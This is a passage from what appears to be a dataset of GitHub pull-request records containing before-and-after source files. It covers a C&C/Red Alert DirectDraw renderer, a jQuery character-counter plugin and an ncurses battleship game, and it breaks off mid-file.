sensitivity scaling, 0 = disabled, 0.5 = half, 1.0 = normal\\n\"\n            \"sensitivity=0.0\\n\"\n            \"; enable C&C/RA mouse hack\\n\"\n            \"mhack=true\\n\"\n            \"; enable C&C video resize hack, auto = auto-detect game, true = forced, false = disabled (OpenGL only)\\n\"\n            \"vhack=false\\n\"\n            \"; switch between OpenGL (opengl) and software (gdi) renderers, latter supports less features but might be faster depending on the GPU\\n\"\n            \"renderer=gdi\\n\"\n            \"; force CPU0 affinity, avoids crashes with RA, *might* have a performance impact\\n\"\n            \"singlecpu=true\\n\"\n        , fh);\n        fclose(fh);\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"windowed\", \"TRUE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')\n    {\n        This->windowed = FALSE;\n    }\n    else\n    {\n        This->windowed = TRUE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"border\", \"TRUE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')\n    {\n        This->border = FALSE;\n    }\n    else\n    {\n        This->border = TRUE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"boxing\", \"FALSE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')\n    {\n        This->boxing = FALSE;\n    }\n    else\n    {\n        This->boxing = TRUE;\n    }\n\n    This->render.maxfps = GetPrivateProfileIntA(\"ddraw\", \"maxfps\", 0, ini_path);\n    This->render.width = GetPrivateProfileIntA(\"ddraw\", \"width\", 0, ini_path);\n    This->render.height = GetPrivateProfileIntA(\"ddraw\", \"height\", 0, ini_path);\n\n    This->render.bpp = GetPrivateProfileIntA(\"ddraw\", \"bpp\", 32, ini_path);\n    if (This->render.bpp != 16 && This->render.bpp != 24 && This->render.bpp != 32)\n    {\n        This->render.bpp = 0;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"filter\", tmp, tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'l' || tolower(tmp[3]) == 'l')\n    {\n        This->render.filter = 1;\n    }\n    else\n    {\n        This->render.filter = 0;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"adjmouse\", \"FALSE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->adjmouse = TRUE;\n    }\n    else\n    {\n        This->adjmouse = FALSE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"mhack\", \"TRUE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->mhack = TRUE;\n    }\n    else\n    {\n        This->mhack = FALSE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"devmode\", \"FALSE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->devmode = TRUE;\n        This->mhack = FALSE;\n    }\n    else\n    {\n        This->devmode = FALSE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"vsync\", \"FALSE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->vsync = TRUE;\n    }\n    else\n    {\n        This->vsync = FALSE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"sensitivity\", \"0\", tmp, sizeof(tmp), ini_path);\n    This->sensitivity = strtof(tmp, NULL);\n\n    GetPrivateProfileStringA(\"ddraw\", \"vhack\", \"false\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->vhack = 2;\n    }\n    else if(tolower(tmp[0]) == 'a')\n    {\n        This->vhack = 1;\n    }\n    else\n    {\n        This->vhack = 0;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"renderer\", \"gdi\", tmp, sizeof(tmp), ini_path);\n    if(tolower(tmp[0]) == 'd' || tolower(tmp[0]) == 'd')\n    {\n        printf(\"DirectDrawCreate: Using dummy renderer\\n\");\n        This->renderer = render_dummy_main;\n    }\n    else if(tolower(tmp[0]) == 's' || tolower(tmp[0]) == 'g')\n    {\n        printf(\"DirectDrawCreate: Using software renderer\\n\");\n        This->renderer = render_soft_main;\n    }\n    else\n    {\n        printf(\"DirectDrawCreate: Using OpenGL renderer\\n\");\n        This->renderer = render_main;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"singlecpu\", \"true\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        printf(\"DirectDrawCreate: Setting CPU0 affinity\\n\");\n        SetProcessAffinityMask(GetCurrentProcess(), 1);\n    }\n\n    /* last minute check for cnc-plugin */\n    if (GetEnvironmentVariable(\"DDRAW_WINDOW\", tmp, sizeof(tmp)) > 0)\n    {\n        This->hWnd = (HWND)atoi(tmp);\n        This->renderer = render_dummy_main;\n        This->windowed = TRUE;\n\n        if (GetEnvironmentVariable(\"DDRAW_WIDTH\", tmp, sizeof(tmp)) > 0)\n        {\n            This->render.width = atoi(tmp);\n        }\n\n        if (GetEnvironmentVariable(\"DDRAW_HEIGHT\", tmp, sizeof(tmp)) > 0)\n        {\n            This->render.height = atoi(tmp);\n        }\n\n        printf(\"DirectDrawCreate: Detected cnc-plugin at window %08X in %dx%d\\n\", (unsigned int)This->hWnd, This->render.width, This->render.height);\n    }\n\n\n    return DD_OK;\n}\n", "render.c": "/*\n * Copyright (c) 2010 Toni Spets <toni.spets@iki.fi>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n/*\nEdits by Ben Lankamp\n\nAdded pillar box rendering for OpenGL\n*/\n#include <windows.h>\n#include <stdio.h>\n\n#include \"main.h\"\n#include \"surface.h\"\n\n#define CUTSCENE_WIDTH 640\n#define CUTSCENE_HEIGHT 400\n\n#define ASPECT_RATIO 4/3\n\nBOOL detect_cutscene();\n\nDWORD WINAPI render_main(void)\n{\n    int i,j,prevRow,nextRow;\n    HGLRC hRC;\n\n    // fixed: texture not square but ASPECT RATIO scaled\n    int tex_width = ddraw->width > 1024 ? ddraw->width : 1024;\n    int tex_height = ddraw->height > 768 ? ddraw->height : 768;\n    float scale_w = 1.0f;\n    float scale_h = 1.0f;\n    int *tex = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, tex_width * tex_height * sizeof(int));\n\n    hRC = wglCreateContext( ddraw->render.hDC );\n    wglMakeCurrent( ddraw->render.hDC, hRC );\n\n    char *glext = (char *)glGetString(GL_EXTENSIONS);\n\n    if(glext && strstr(glext, \"WGL_EXT_swap_control\"))\n    {\n        BOOL (APIENTRY *wglSwapIntervalEXT)(int) = (BOOL (APIENTRY *)(int))wglGetProcAddress(\"wglSwapIntervalEXT\");\n        if(wglSwapIntervalEXT)\n        {\n            if(ddraw->vsync)\n            {\n                wglSwapIntervalEXT(1);\n            }\n            else\n            {\n                wglSwapIntervalEXT(0);\n            }\n        }\n    }\n\n    DWORD tick_start = 0;\n    DWORD tick_end = 0;\n    DWORD frame_len = 0;\n\n    if(ddraw->render.maxfps < 0)\n    {\n        ddraw->render.maxfps = ddraw->mode.dmDisplayFrequency;\n    }\n\n    if(ddraw->render.maxfps > 0)\n    {\n        frame_len = 1000.0f / ddraw->render.maxfps;\n    }\n\n    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, tex_width, tex_height, 0, GL_RGBA, GL_UNSIGNED_BYTE, tex);\n\n    // define screen width and height\n    // define projected width and height (aspect ratio preserved)\n    int screenWidth = ddraw->render.width;\n    int screenHeight = ddraw->render.height;\n\n    // define projection width and height depending on the aspect ratio\n    // this effectively sets a pillar box view\n    int projectedHeight = screenHeight;\n    int projectedWidth = projectedHeight * ASPECT_RATIO;\n    int projectedLeft, projectedTop;\n\n    if(ddraw->boxing)\n    {\n        projectedLeft = (screenWidth - projectedWidth) / 2;\n        projectedTop = (screenHeight - projectedHeight) / 2;\n\n        glViewport(projectedLeft, projectedTop, projectedWidth, projectedHeight);\n    }\n    else\n    {\n        projectedWidth = screenWidth;\n        projectedHeight = screenHeight;\n        glViewport(0, 0, screenWidth, screenHeight);\n    }\n\n    if(ddraw->render.filter)\n    {\n        glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR);\n        glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR);\n    }\n    else\n    {\n        glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_NEAREST);\n        glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_NEAREST);\n    }\n\n    glEnable(GL_TEXTURE_2D);\n\t\n\ttimeBeginPeriod(1);\n\t\n\n\n    while(ddraw->render.run && WaitForSingleObject(ddraw->render.sem, INFINITE) != WAIT_FAILED)\n    {\n\t\tscale_w = (float)ddraw->width/tex_width;\n\t\tscale_h = (float)ddraw->height/tex_height;\n\t\n        if(ddraw->render.maxfps > 0)\n        {\n            tick_start = GetTickCount();\n        }\n\n        /* convert ddraw surface to opengl texture */\n        EnterCriticalSection(&ddraw->cs);\n\n        if(ddraw->primary && ddraw->primary->palette)\n        {\n            if(ddraw->vhack && detect_cutscene())\n            {\n                scale_w *= (float)CUTSCENE_WIDTH / ddraw->width;\n                scale_h *= (float)CUTSCENE_HEIGHT / ddraw->height;\n\n                if (ddraw->cursorclip.width != CUTSCENE_WIDTH || ddraw->cursorclip.height != CUTSCENE_HEIGHT)\n                {\n                    ddraw->cursorclip.width = CUTSCENE_WIDTH;\n                    ddraw->cursorclip.height = CUTSCENE_HEIGHT;\n                    ddraw->cursor.x = CUTSCENE_WIDTH / 2;\n                    ddraw->cursor.y = CUTSCENE_HEIGHT / 2;\n                }\n            }\n            else\n            {\n                if (ddraw->cursorclip.width != ddraw->width || ddraw->cursorclip.height != ddraw->height)\n                {\n                    ddraw->cursorclip.width = ddraw->width;\n                    ddraw->cursorclip.height = ddraw->height;\n                    ddraw->cursor.x = ddraw->width / 2;\n                    ddraw->cursor.y = ddraw->height / 2;\n                }\n            }\n\n            // regular paint\n            for(i=0; i<ddraw->height; i++)\n            {\n                for(j=0; j<ddraw->width; j++)\n                {\n                    tex[i*ddraw->width+j] = ddraw->primary->palette->data_bgr[((unsigned char *)ddraw->primary->surface)[i*ddraw->primary->lPitch + j*ddraw->primary->lXPitch]];\n                }\n            }\n\n            // poor man's deinterlace\n            if(ddraw->vhack && detect_cutscene())\n            {\n                for(i = 1; i < (ddraw->height - 1); i += 2)\n                {\n                    for(j=0; j<ddraw->width; j++)\n                    {\n                        if(tex[i*ddraw->width+j] == 0)\n                        {\n                            prevRow = tex[(i-1)*ddraw->width+j];\n                            nextRow = tex[(i+1)*ddraw->width+j];\n\n                            tex[i*ddraw->width+j] = (prevRow+nextRow)/2;\n                        }\n                    }\n                }\n            }\n        }\n        LeaveCriticalSection(&ddraw->cs);\n\n        glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, ddraw->width, ddraw->height, GL_RGBA, GL_UNSIGNED_BYTE, tex);\n\n        glBegin(GL_TRIANGLE_FAN);\n        glTexCoord2f(0,0);              glVertex2f(-1,  1);\n        glTexCoord2f(scale_w,0);        glVertex2f( 1,  1);\n        glTexCoord2f(scale_w,scale_h);  glVertex2f( 1, -1);\n        glTexCoord2f(0,scale_h);        glVertex2f(-1, -1);\n        glEnd();\n\t\t\n\t\tSwapBuffers(ddraw->render.hDC); \n\n        if((ddraw->render.maxfps > 0))\n        {        \n\t\t\ttick_end = GetTickCount();\n\t\t\t\n           if(tick_end - tick_start < frame_len)\n           {\n\t\t\t\tSleep( frame_len - (tick_end - tick_start));\n            }\n        }\n\n        SetEvent(ddraw->render.ev);\n    }\n\ttimeEndPeriod(1);\n\t\t\n    HeapFree(GetProcessHeap(), 0, tex);\n\n    wglMakeCurrent(NULL, NULL);\n    wglDeleteContext(hRC);\n\n    return 0;\n}\n", "render_soft.c": "/*\n * Copyright (c) 2011 Toni Spets <toni.spets@iki.fi>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <windows.h>\n#include <stdio.h>\n\n#include \"main.h\"\n#include \"surface.h\"\n\n#define CUTSCENE_WIDTH 640\n#define CUTSCENE_HEIGHT 400\n\nstatic unsigned char getPixel(int x, int y)\n{\n\treturn ((unsigned char *)ddraw->primary->surface)[y*ddraw->primary->lPitch + x*ddraw->primary->lXPitch];\n}\n\nint* InMovie = (int*)0x00665F58;\nint* IsVQA640 = (int*)0x0065D7BC; \nBYTE* ShouldStretch = (BYTE*)0x00607D78;\n\nBOOL detect_cutscene()\n{\n\tif(ddraw->width <= CUTSCENE_WIDTH || ddraw->height <= CUTSCENE_HEIGHT)\n\t\treturn FALSE;\n\t\t\n\tif (ddraw->isredalert == TRUE)\n\t{\n\t\tif ((*InMovie && !*IsVQA640) || *ShouldStretch)\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\treturn FALSE;\n\t}\n\n\treturn getPixel(CUTSCENE_WIDTH + 1, 0) == 0 || getPixel(CUTSCENE_WIDTH + 5, 1) == 0 ? TRUE : FALSE;\t\n}\n\nDWORD WINAPI render_soft_main(void)\n{\n    PBITMAPINFO bmi = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * 256);\n\n    bmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);\n    bmi->bmiHeader.biWidth = ddraw->width;\n    bmi->bmiHeader.biHeight = -ddraw->height;\n    bmi->bmiHeader.biPlanes = 1;\n    bmi->bmiHeader.biBitCount = ddraw->bpp;\n    bmi->bmiHeader.biCompression = BI_RGB;\n\n    DWORD dst_top = 0;\n    DWORD dst_left = 0;\n    DWORD dst_width = ddraw->render.width;\n    DWORD dst_height = ddraw->render.height;\n\n    DWORD tick_start = 0;\n    DWORD tick_end = 0;\n    DWORD frame_len = 0;\n\t\n\ttimeBeginPeriod(1);\n\n    if (ddraw->boxing)\n    {\n        dst_width = ddraw->width;\n        dst_height = ddraw->height;\n\n        /* test if we can double scale the window */\n        if (ddraw->width * 2 <= ddraw->render.width && ddraw->height * 2 <= ddraw->render.height)\n        {\n            dst_width *= 2;\n            dst_height *= 2;\n        }\n\n        dst_top = ddraw->render.height / 2 - dst_height / 2;\n        dst_left = ddraw->render.width / 2 - dst_width / 2;\n    }\n\n    if(ddraw->render.maxfps < 0)\n    {\n        ddraw->render.maxfps = ddraw->mode.dmDisplayFrequency;\n    }\n\n    if(ddraw->render.maxfps > 0)\n    {\n        frame_len = 1000.0f / ddraw->render.maxfps;\n    }\n\n    while (ddraw->render.run && WaitForSingleObject(ddraw->render.sem, INFINITE) != WAIT_FAILED)\n    {\n        if(ddraw->render.maxfps > 0)\n        {\n            tick_start = GetTickCount();\n        }\n\t\t\n\t\t EnterCriticalSection(&ddraw->cs);\n\n        if (ddraw->primary && (ddraw->primary->palette || ddraw->bpp == 16))\n        {\n            if (ddraw->primary->palette && ddraw->primary->palette->data_rgb == NULL)\n            {\n                ddraw->primary->palette->data_rgb = &bmi->bmiColors[0];\n            }\n\n            if ((ddraw->render.width != ddraw->width || ddraw->render.height != ddraw->height) && !(ddraw->vhack && detect_cutscene()) )\n            {\n                StretchDIBits(ddraw->render.hDC, dst_left, dst_top, dst_width, dst_height, 0, 0, ddraw->width, ddraw->height, ddraw->primary->surface, bmi, DIB_RGB_COLORS, SRCCOPY);\n            }\n\t\t\telse if (!(ddraw->vhack && detect_cutscene()))\n\t\t\t{\n\t\t\t\tSetDIBitsToDevice(ddraw->render.hDC, 0, 0, ddraw->width, ddraw->height, 0, 0, 0, ddraw->height, ddraw->primary->surface, bmi, DIB_RGB_COLORS);\n\t\t\t}\n\n        }\n\t\tif (ddraw->vhack && ddraw->primary && detect_cutscene()) // for vhack\n\t\t{\n\t\t\tif (ddraw->primary->palette && ddraw->primary->palette->data_rgb == NULL)\n            {\n                ddraw->primary->palette->data_rgb = &bmi->bmiColors[0];\n            }\n\t\t\t// for 800 x 600:\n\t\t\t//StretchDIBits(ddraw->render.hDC, 0, 0, ddraw->render.width, ddraw->render.height, 0, 200, CUTSCENE_WIDTH, CUTSCENE_HEIGHT, ddraw->primary->surface, bmi, DIB_RGB_COLORS, SRCCOPY);\n\t\t\t\n\t\t\t\t\t\tStretchDIBits(ddraw->render.hDC, 0, 0, ddraw->render.width, ddraw->render.height, 0, ddraw->height-400, CUTSCENE_WIDTH, CUTSCENE_HEIGHT, ddraw->primary->surface, bmi, DIB_RGB_COLORS, SRCCOPY);\n\n\t\t\t\n\t\t\tif (ddraw->primary->palette && (ddraw->cursorclip.width != CUTSCENE_WIDTH || ddraw->cursorclip.height != CUTSCENE_HEIGHT))\n\t\t\t{\n\t\t\t\tddraw->cursorclip.width = CUTSCENE_WIDTH;\n\t\t\t\tddraw->cursorclip.height = CUTSCENE_HEIGHT;\n\t\t\t\tddraw->cursor.x = CUTSCENE_WIDTH / 2;\n\t\t\t\tddraw->cursor.y = CUTSCENE_HEIGHT / 2;\n\t\t\t}\n\t\t}\n\t\telse if(ddraw->primary && ddraw->primary->palette && (ddraw->cursorclip.width != ddraw->width || ddraw->cursorclip.height != ddraw->height))\n\t\t{\n\t\t\tddraw->cursorclip.width = ddraw->width;\n\t\t\tddraw->cursorclip.height = ddraw->height;\n\t\t\tddraw->cursor.x = ddraw->width / 2;\n\t\t\tddraw->cursor.y = ddraw->height / 2;\n\t\t}\n\n        LeaveCriticalSection(&ddraw->cs);\n\n        if((ddraw->render.maxfps > 0) && !detect_cutscene())\n        {\n            tick_end = GetTickCount();\n\n            if(tick_end - tick_start < frame_len)\n            {\n               Sleep( frame_len - (tick_end - tick_start) + 1);\n            }\n        }\n        SetEvent(ddraw->render.ev);\n    }\n\ttimeEndPeriod(1);\n\n    HeapFree(GetProcessHeap(), 0, bmi);\n\n    return TRUE;\n}\n"}}
{"repo": "krisleech/jQuery-Character-Counter", "pr_number": 1, "title": "add a class if character limit exceed's ", "state": "closed", "merged_at": "2013-03-04T18:36:56Z", "additions": 37, "deletions": 21, "files_changed": ["counter.jquery.js", "index.html"], "files_before": {"counter.jquery.js": "(function($){\n  $.fn.counter = function() {\n    return this.each(function() {\n      max_length = parseInt($(this).attr('data-max-length'));\n\n      var length = $(this).val().length;               \n      $(this).parent().find('.counter_label').html(max_length-length + ' characters left');\n      // bind on key up event\n      $(this).keyup(function(){\n        // calc length and truncate if needed\n        var new_length = $(this).val().length;\n        if (new_length > max_length-1) {\n          $(this).val($(this).val().substring(0, options.max_length));\n        }\n        // update visual counter\n        $(this).parent().find('.counter_label').html(max_length-new_length + ' characters left');\n      });\n    });\n  };\n})(jQuery);\n\n\n", "index.html": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\n   \"http://www.w3.org/TR/html4/strict.dtd\">\n\n<html lang=\"en\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n\t<title>index</title>\n\t<meta name=\"generator\" content=\"TextMate http://macromates.com/\">\n\t<meta name=\"author\" content=\"Kris Leech\">\n\t<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js' type='text/javascript'></script>\n\t<script src='counter.jquery.js' type='text/javascript'></script>\n\t<script type=\"text/javascript\" charset=\"utf-8\">\n\t\t$(function(){\n\t\t\t$('textarea[data-max-length]').counter();\n\t\t})\n\t</script>\n</head>\n<body>\n\t\n\t<!-- \n\t\tA Div around the div.counter and the input is only needed if you have more than one textarea which needs a counter\n\t\ton the same page.\n\t -->\n\t\n\t<form>\n\t\t<div>\n\t\t\t<div class='counter_label'></div>\n\t\t\t<textarea data-max-length=\"200\">type here</textarea>\n\t\t</div>\n\t\t\n\t\t<div>\n\t\t\t<div class='counter_label'></div>\n\t\t\t<textarea data-max-length=\"200\">type here</textarea>\n\t\t</div>\t\t\n\t</form>\n</body>\n</html>\n"}, "files_after": {"counter.jquery.js": "(function ($) {\n    $.fn.counter = function (options) {\n        var defaults={\n            limitExceedClass:''\n        };\n        var options=$.extend({},defaults,options);\n        return this.each(function () {\n            max_length = parseInt($(this).attr('data-max-length'));\n\n            var length = $(this).val().length;\n            $(this).parent().find('.counter_label').html(max_length - length + ' characters left');\n            // bind on key up event\n            $(this).keyup(function () {\n                // calc length and truncate if needed\n                var new_length = $(this).val().length;\n                if (new_length > max_length - 1) {\n                    $(this).parent().find('.counter_label').addClass(options.limitExceedClass);\n                }\n                else {\n                    $(this).parent().find('.counter_label').removeClass(options.limitExceedClass);\n                }\n                // update visual counter\n                $(this).parent().find('.counter_label').html(max_length - new_length + ' characters left');\n            });\n        });\n    };\n})(jQuery);\n$(document).ready(function () {\n    $('textarea').counter();\n\n})\n\n\n", "index.html": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\n   \"http://www.w3.org/TR/html4/strict.dtd\">\n\n<html lang=\"en\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n\t<title>index</title>\n\t<meta name=\"generator\" content=\"TextMate http://macromates.com/\">\n\t<meta name=\"author\" content=\"Kris Leech\">\n\t<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js' type='text/javascript'></script>\n\t<script src='counter.jquery.js' type='text/javascript'></script>\n\t<script type=\"text/javascript\" charset=\"utf-8\">\n\t\t$(function(){\n\t\t\t$('textarea[data-max-length]').counter({'limitExceedClass':'limit'});\n\t\t})\n\t</script>\n\t<style>\n      .limit{\n      \tcolor:red;\n      }\n\t</style>\n</head>\n<body>\n\t\n\t<!-- \n\t\tA Div around the div.counter and the input is only needed if you have more than one textarea which needs a counter\n\t\ton the same page.\n\t -->\n\t\n\t<form>\n\t\t<div>\n\t\t\t<div class='counter_label'></div>\n\t\t\t<textarea data-max-length=\"20\">type here</textarea>\n\t\t</div>\n\t\t\n\t\t<div>\n\t\t\t<div class='counter_label'></div>\n\t\t\t<textarea data-max-length=\"20\">type here</textarea>\n\t\t</div>\t\t\n\t</form>\n</body>\n</html>\n"}}
{"repo": "mgalgs/termship", "pr_number": 1, "title": "Use no-more-secrets", "state": "closed", "merged_at": "2016-09-19T09:33:24Z", "additions": 25, "deletions": 17, "files_changed": ["screen.c"], "files_before": {"screen.c": "/* -*- c-basic-offset: 2 -*- */\n/**\n * This file contains all the ui routines.\n */\n\n\n#include <ncurses.h>\n#include <menu.h>\n#include <panel.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include \"gamepieces.h\"\n#include \"connection.h\"\n#include \"screen.h\"\n#include \"log.h\"\n#include \"common.h\"\n\n#define MAX_NAME 100\n\nextern Ship Shipset[];\nextern Ship PeerShipset[];\nchar global_user_name[MAX_NAME];\nchar peer_user_name[MAX_NAME];\nint user_mode;\ntypedef enum SHOT_SPOT {\n  UNTOUCHED=0,\n  MISS,\n  HIT\n} SHOT_SPOT;\nSHOT_SPOT player_shots[BOARD_SIZE][BOARD_SIZE]; /* 1=hit, 2=miss */\nSHOT_SPOT peer_shots[BOARD_SIZE][BOARD_SIZE]; /* 1=hit, 2=miss */\n\n\nWINDOW *player_win;\nWINDOW *opponent_win;\nWINDOW *status_win;\n\nvoid place_hit_or_mis(WINDOW * win,int mesg, int x, int y, bool was_peer_shot)\n{\n  //-2game -1 hit sink 1hit  0miss\n  //deal with hits first\n\n  if ((mesg == -2) || (mesg == -1) || (mesg == 1)) {\n    wattron(win,COLOR_PAIR(4));\n    mvwprintw(win, y+2, x*2+3,\"#\");\n    wattroff(win,COLOR_PAIR(4));\n    wrefresh(win);\n    if (was_peer_shot)\n      peer_shots[x][y] = HIT;\n    else\n      player_shots[x][y] = HIT;\n  } else { // miss\n    wattron(win,COLOR_PAIR(3));\n    mvwprintw(win, y+2, x*2+3,\"@\");\n    wattroff(win,COLOR_PAIR(3));\n    wrefresh(win);\n    if (was_peer_shot)\n      peer_shots[x][y] = MISS;\n    else\n      player_shots[x][y] = MISS;\n  }\n}\n\n/**\n * Display battlefields after exchanging boards.\n */\nvoid show_battlefields()\n{\n  /* dump battlefields: */\n  if (user_mode == SERVER_MODE) {\n    write_to_log(\"player_shots:\\n\");\n    for (int i=0; i<BOARD_SIZE; ++i) {\n      for (int j=0; j<BOARD_SIZE; ++j) {\n    char msg[10];\n    sprintf(msg, \"%c\", player_shots[i][j] == HIT ? 'h'\n        : (player_shots[i][j] == MISS ? 'm' : 'u') );\n    write_to_log(msg);\n      }\n      write_to_log(\"\\n\");\n    }\n    write_to_log(\"peer_shots:\\n\");\n    for (int i=0; i<BOARD_SIZE; ++i) {\n      for (int j=0; j<BOARD_SIZE; ++j) {\n    char msg[10];\n    sprintf(msg, \"%c\", peer_shots[i][j] == HIT ? 'h'\n        : (peer_shots[i][j] == MISS ? 'm' : 'u') );\n    write_to_log(msg);\n      }\n      write_to_log(\"\\n\");\n    }\n  }\n\n  noecho();\n  bool checking_opponent = true;\n  bool cont = true;\n  while (cont) {\n    char field[BOARD_SIZE*BOARD_SIZE + 1000]; /* TODO: give me a break... */\n    int ind=0;\n    for (int y=0; y<BOARD_SIZE; ++y) {\n      for (int x=0; x<BOARD_SIZE; ++x) {\n    if (checking_opponent) { /* checking opponent */\n      if (is_there_a_ship_here(PeerShipset, x, y)) {\n        field[ind++] = player_shots[x][y] == HIT ? '#' : '*';\n      } else {\n        field[ind++] = player_shots[x][y] == MISS ? '@' : '_';\n      }\n    } else {        /* checking user */\n      if (is_there_a_ship_here(Shipset, x, y)) {\n        field[ind++] = peer_shots[x][y] == HIT ? '#' : '*';\n      } else {\n        field[ind++] = peer_shots[x][y] == MISS ? '@' : '_';\n      }\n    } /* eo checking_opponent */\n    field[ind++] = '|';\n      }\n      field[ind++] = '\\n';\n    }\n    sprintf(&(field[ind]), \"Currently displaying %s%s territory.\\n\"\n        \"Press any key to see %s%s.\\n\"\n        \"Press enter to continue\",\n        checking_opponent ? peer_user_name : \"your\",\n        checking_opponent ? \"'s\" : \"\",\n        checking_opponent ? \"yours\" : peer_user_name,\n        checking_opponent ? \"\" : \"'s\");\n    show_message_box(field);\n\n    int ch = getch();\n    switch(ch) {\n    case 10:\n    case KEY_ENTER:\n      cont = false;\n      break;\n    } /* eo switch */\n    checking_opponent = !checking_opponent;\n  }   /* eo while cont */\n  hide_message_box();\n}\n\n/**\n * Documentation here\n */\nvoid main_menu()\n{\n\n\n  MENU *my_menu;\n  /* Order here doesn't matter. Name (the first item in each of these\n     \"pairs\") does. If you change the name, change the selection\n     handling code towards the end of this function. */\n  char *my_choices[] = {\n    \"Create\",\"(Create new termship game)\",\n    \"Join\", \"(Join existing termship game on network)\",\n    \"Exit\", \"\",\n    (char *)NULL, (char *)NULL\n  };\n  ITEM **my_items;\n  int n_choices = ARRAY_SIZE(my_choices)/2;\n\n  /* some testing modes: */\n#ifdef TEST_SHIPS\n  initShips();\n  return;\n#endif\n\n  keypad(stdscr, TRUE);\n  curs_set(0); // make cursor invisible\n  noecho();\n  title_screen();\n\n  clear();\n\n  my_items = (ITEM **)calloc(n_choices,sizeof(ITEM *));\n  for (int i=0; my_choices[i*2]!=NULL; ++i) {\n    /* i*2 since we're iterating in pairs */\n    my_items[i] = new_item(my_choices[(i*2)], my_choices[(i*2)+1]);\n  }\n\n  my_menu = new_menu(my_items);\n  set_menu_mark(my_menu, \"   * \");\n  post_menu(my_menu);\n  refresh();\n\n  int c;\n  while ((c = getch()) 